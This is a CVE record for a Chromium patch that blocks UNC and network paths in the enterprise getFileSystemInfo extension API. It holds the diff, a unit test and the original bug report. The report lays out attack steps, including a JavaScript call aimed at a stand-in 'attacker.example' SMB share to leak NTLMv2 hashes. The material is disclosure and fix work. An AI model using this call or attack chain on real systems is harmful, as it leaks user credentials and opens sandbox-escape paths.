CVE-2026-14055
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
forchrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc |
modified | |
TEST_Fchrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc |
modified |
Files Changed
chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.ccchrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
Patch
From e04526f24b7e7fa54f1a922ed3fba5ed1dbc969b Mon Sep 17 00:00:00 2001
From: hamda mare <hmare@google.com>
Date: Mon, 04 May 2026 19:47:17 -0700
Subject: [PATCH] Add path validation to prevent NTLM leak in getFileSystemInfo
This CL adds validation in the browser process to reject network paths
provided to the getFileSystemInfo API, preventing outbound SMB connections
and potential NTLM leak in the unsandboxed utility process.
Fixed: 501857663
Change-Id: I85191565ad48d76375111b9fd1557d8bbb6c9766
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7796283
Reviewed-by: Sebastien Lalancette <seblalancette@chromium.org>
Commit-Queue: Hamda Mare <hmare@google.com>
Cr-Commit-Position: refs/heads/main@{#1625153}
---
diff --git a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
index 87f91d7..f12c944 100644
--- a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
+++ b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cc
@@ -686,15 +686,15 @@
args());
EXTENSION_FUNCTION_VALIDATE(params);
- // Verify that all file paths are UTF8.
- bool paths_are_all_utf8 = true;
+ // Verify that all file paths are UTF8 and strictly local.
for (const auto& api_options_param : params->request.options) {
- if (!base::IsStringUTF8(api_options_param.path)) {
- paths_are_all_utf8 = false;
- break;
+ EXTENSION_FUNCTION_VALIDATE(base::IsStringUTF8(api_options_param.path));
+ base::FilePath file_path =
+ base::FilePath::FromUTF8Unsafe(api_options_param.path);
+ if (file_path.IsNetwork()) {
+ return RespondNow(Error("Network paths are not supported."));
}
}
- EXTENSION_FUNCTION_VALIDATE(paths_are_all_utf8);
auto aggregation_request = CreateAggregationRequest(signal_name());
aggregation_request.file_system_signal_parameters =
diff --git a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
index 1aad2c76..8be096b 100644
--- a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
+++ b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
@@ -1366,6 +1366,25 @@
"Enterprise.DeviceSignals.Collection.Failure.FileSystemInfo.Latency", 0);
}
+TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest,
+ NetworkPathFailsGracefully) {
+ enterprise_reporting_private::GetFileSystemInfoRequest request;
+ request.user_context = GetFakeUserContext();
+
+ enterprise_reporting_private::GetFileSystemInfoOptions option;
+ option.path = "//server/share/file.txt";
+ request.options.push_back(std::move(option));
+
+ base::ListValue args;
+ args.Append(request.ToValue());
+ std::string json_args = base::WriteJson(args).value_or("");
+
+ std::string error = api_test_utils::RunFunctionAndReturnError(
+ function_.get(), json_args, profile());
+
+ EXPECT_EQ(error, "Network paths are not supported.");
+}
+
TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest, TopLevelError) {
device_signals::SignalCollectionError expected_error =
device_signals::SignalCollectionError::kConsentRequired;
Regression Test / PoC
diff --git a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
index 1aad2c76..8be096b 100644
--- a/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
+++ b/chrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_unittest.cc
@@ -1366,6 +1366,25 @@
"Enterprise.DeviceSignals.Collection.Failure.FileSystemInfo.Latency", 0);
}
+TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest,
+ NetworkPathFailsGracefully) {
+ enterprise_reporting_private::GetFileSystemInfoRequest request;
+ request.user_context = GetFakeUserContext();
+
+ enterprise_reporting_private::GetFileSystemInfoOptions option;
+ option.path = "//server/share/file.txt";
+ request.options.push_back(std::move(option));
+
+ base::ListValue args;
+ args.Append(request.ToValue());
+ std::string json_args = base::WriteJson(args).value_or("");
+
+ std::string error = api_test_utils::RunFunctionAndReturnError(
+ function_.get(), json_args, profile());
+
+ EXPECT_EQ(error, "Network paths are not supported.");
+}
+
TEST_F(EnterpriseReportingPrivateGetFileSystemInfoTest, TopLevelError) {
device_signals::SignalCollectionError expected_error =
device_signals::SignalCollectionError::kConsentRequired;
Original Bug Report
Potential NTLM leak and sandbox escape via UNC paths in SystemSignalsService
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: The enterprise.reportingPrivate.getFileSystemInfo API fails to block UNC paths, allowing compromised extensions to pass network paths to the unsandboxed SystemSignalsService. This triggers an NTLM authentication leak when Windows resolves the path and parses the remote file (via WinVerifyTrust), creating a potential sandbox escape vector.
Affected files:
components/device_signals/core/common/win/platform_utils_win.ccchrome/browser/extensions/api/enterprise_reporting_private/conversion_utils.ccchrome/browser/extensions/api/enterprise_reporting_private/enterprise_reporting_private_api.cccomponents/device_signals/core/system_signals/win/win_platform_delegate.cccomponents/device_signals/core/system_signals/base_platform_delegate.cccomponents/device_signals/core/system_signals/hashing_utils.cccomponents/device_signals/core/common/mojom/system_signals.mojomcomponents/device_signals/core/browser/file_system_signals_collector.cccomponents/device_signals/core/browser/user_permission_service_impl.cc
Estimated timestamp from git blame: 2022-07-13
Description
A potential vulnerability exists in the chrome.enterprise.reportingPrivate.getFileSystemInfo extension API where renderer-supplied file paths are not properly validated against network or UNC paths. When an attacker compromises an allowlisted extension and calls this API with a UNC path, the path is forwarded to the SystemSignalsService utility process.
Because this service runs with kNoSandbox on Windows, resolving the UNC path triggers an outbound SMB/WebDAV connection via native Windows APIs, leaking the user’s NTLMv2 challenge-response hashes. Furthermore, the unsandboxed service attempts to read and parse the remote file using complex OS functions (WinVerifyTrust and FileVersionInfo::CreateFileVersionInfo), exposing the system to potential sandbox escapes via malformed Authenticode or PE structures.
Preconditions
To potentially exploit this vulnerability, the following conditions must be met:
- The target must be an enterprise-managed Windows device (or the user must have explicitly consented to device signal collection).
- A Google-allowlisted extension for the
enterprise.reportingPrivateAPI (e.g., Endpoint Verification / SecureConnect) must be force-installed. - An attacker must compromise the renderer process hosting the allowlisted extension (e.g., via an XSS flaw on an
externally_connectabledomain or a vulnerability in the extension’s message handling).
Potential Attack Steps
Note: These are suggested steps based on code analysis; a working proof of concept has not been executed.
- The attacker compromises the renderer process of the allowlisted extension.
- The attacker executes JavaScript to invoke the API with an attacker-controlled UNC path:
chrome.enterprise.reportingPrivate.getFileSystemInfo({ userContext: {userId: '<user_id>'}, options: [{path: '\\\\attacker.example\\share\\malicious.exe', computeSha256: true, computeExecutableMetadata: true}] }); - The browser process receives the request in
EnterpriseReportingPrivateGetFileSystemInfoFunction::Run(enterprise_reporting_private_api.cc). It verifies the path is a UTF-8 string but fails to validate if it is a local path. The path is converted tobase::FilePathand forwarded via Mojo to theSystemSignalsService. - The
SystemSignalsService, running as an unsandboxed utility process (system_signals.mojom), processes the path inWinPlatformDelegate::ResolveFilePathand callsbase::PathExists(base/files/file_util_win.cc). base::PathExistsinvokes the Windows APIGetFileAttributesWwith the UNC path. The Windows I/O manager routes this to the SMB/WebDAV redirector. Because the process is unsandboxed, Windows automatically attempts NTLM authentication with the remote attacker server, potentially leaking the user’s NTLMv2 hashes.- If the path resolves, the service invokes
HashFile, reading the remote file over the network. - The service then extracts metadata using
BasePlatformDelegate::GetProductMetadata(callingFileVersionInfo::CreateFileVersionInfo) and verifies signatures usingWinPlatformDelegate::GetSigningCertificatesPublicKeys(callingWinVerifyTrust). Both functions perform complex parsing on the attacker-controlled remote file within the unsandboxed utility process, presenting a strong surface for a sandbox escape.
Suggested Fix
The browser process should validate that the paths provided by the extension are strictly local before forwarding them to the unsandboxed utility process. This can be achieved by utilizing base::FilePath::IsNetwork() or similar logic in EnterpriseReportingPrivateGetFileSystemInfoFunction::Run or ConvertFileSystemInfoOptions to reject UNC and network paths.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Raised in root component due to access or custom field issues on 1163683